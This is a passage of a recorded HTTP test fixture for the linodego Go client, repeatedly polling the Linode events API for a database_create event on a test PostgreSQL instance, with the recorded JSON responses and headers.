"url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" 